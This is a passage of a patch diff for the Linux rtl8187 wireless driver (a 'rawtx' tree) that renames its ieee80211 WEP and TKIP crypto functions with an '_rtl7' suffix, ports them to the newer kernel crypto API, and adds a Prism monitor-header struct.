rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.h 2007-07-13 01:46:10.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c 2007-07-13 01:46:05.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,19 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +412,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +424,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +472,26 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,13 +525,22 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } @@ -445,15 +552,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +599,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +611,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +649,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +665,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +673,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +682,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +700,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +716,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +761,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +791,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +818,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c 2007-07-13 01:46:05.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,21 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +210,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +240,22 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +276,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +290,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +303,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +312,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_rawtx/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211.h 2007-07-13 01:46:10.000000000 +0200 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short 